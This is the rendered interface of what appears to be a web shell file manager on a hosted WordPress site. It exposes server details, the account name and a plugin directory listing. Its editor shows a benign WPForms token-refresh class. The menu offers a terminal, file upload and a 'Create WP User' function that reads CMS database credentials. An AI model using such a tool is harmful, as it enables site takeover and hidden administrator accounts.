Linux webm017.cluster130.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid x86_64
PHP/7.4.33
服务器IP :
10.130.20.17
& 您的IP :
216.73.217.47
域名 :
无法读取 [ /etc/named.conf ]
用户 :
koaigpw
上传
终端
新建文件
新建文件夹
Create WP User
登出
+
/
home
/
koaigpw
/
budomat.net.pl_backup
/
wp-content
/
plugins
/
wpforms-lite
/
src
/
Integrations
/
LiteConnect
/
[ 返回根目录 ]
名称
大小
权限
修改时间
操作
..
-
-
-
API.php
10.28 KB
-rw-r--r--
2025-10-30 08:13
Integration.php
11.03 KB
-rw-r--r--
2025-10-30 08:13
LiteConnect.php
5.60 KB
-rw-r--r--
2025-10-30 08:13
RefreshAccessTokenTask.php
1.26 KB
-rw-r--r--
2025-10-30 08:13
>_
终端
关闭 ✕
输入 'help' 查看可用命令。
koaigpw@
>
新建文件
文件名
取消
创建
重命名
新名称
取消
重命名
Create WordPress User
Auto (baca dari file CMS)
Manual (isi kredensial DB)
代码编辑器 :
RefreshAccessTokenTask.php
<?php namespace WPForms\Integrations\LiteConnect; /** * Class RefreshAccessTokenTask. * * @since 1.7.4 */ class RefreshAccessTokenTask extends Integration { /** * Task name. * * @since 1.7.4 * * @var string */ const LITE_CONNECT_TASK = 'wpforms_lite_connect_refresh_access_token'; /** * RefreshAccessTokenTask constructor. * * @since 1.7.4 */ public function __construct() { parent::__construct(); $this->hooks(); } /** * Initialize the hooks. * * @since 1.7.4 */ private function hooks() { // Process the tasks as needed. add_action( self::LITE_CONNECT_TASK, [ $this, 'process' ] ); } /** * Creates a task to refresh the Lite Connect access token via Action Scheduler. * * @since 1.7.4 */ public function create() { $action_id = wpforms()->obj( 'tasks' ) ->create( self::LITE_CONNECT_TASK ) ->once( time() + 6 * DAY_IN_SECONDS ) ->register(); if ( $action_id === null ) { wpforms_log( 'Lite Connect: error creating the AS task', [ 'task' => self::LITE_CONNECT_TASK, ], [ 'type' => [ 'error' ] ] ); } } /** * Process the task to regenerate the access token. * * @since 1.7.4 */ public function process() { $this->get_access_token( $this->get_site_key(), true ); } }
关闭
保存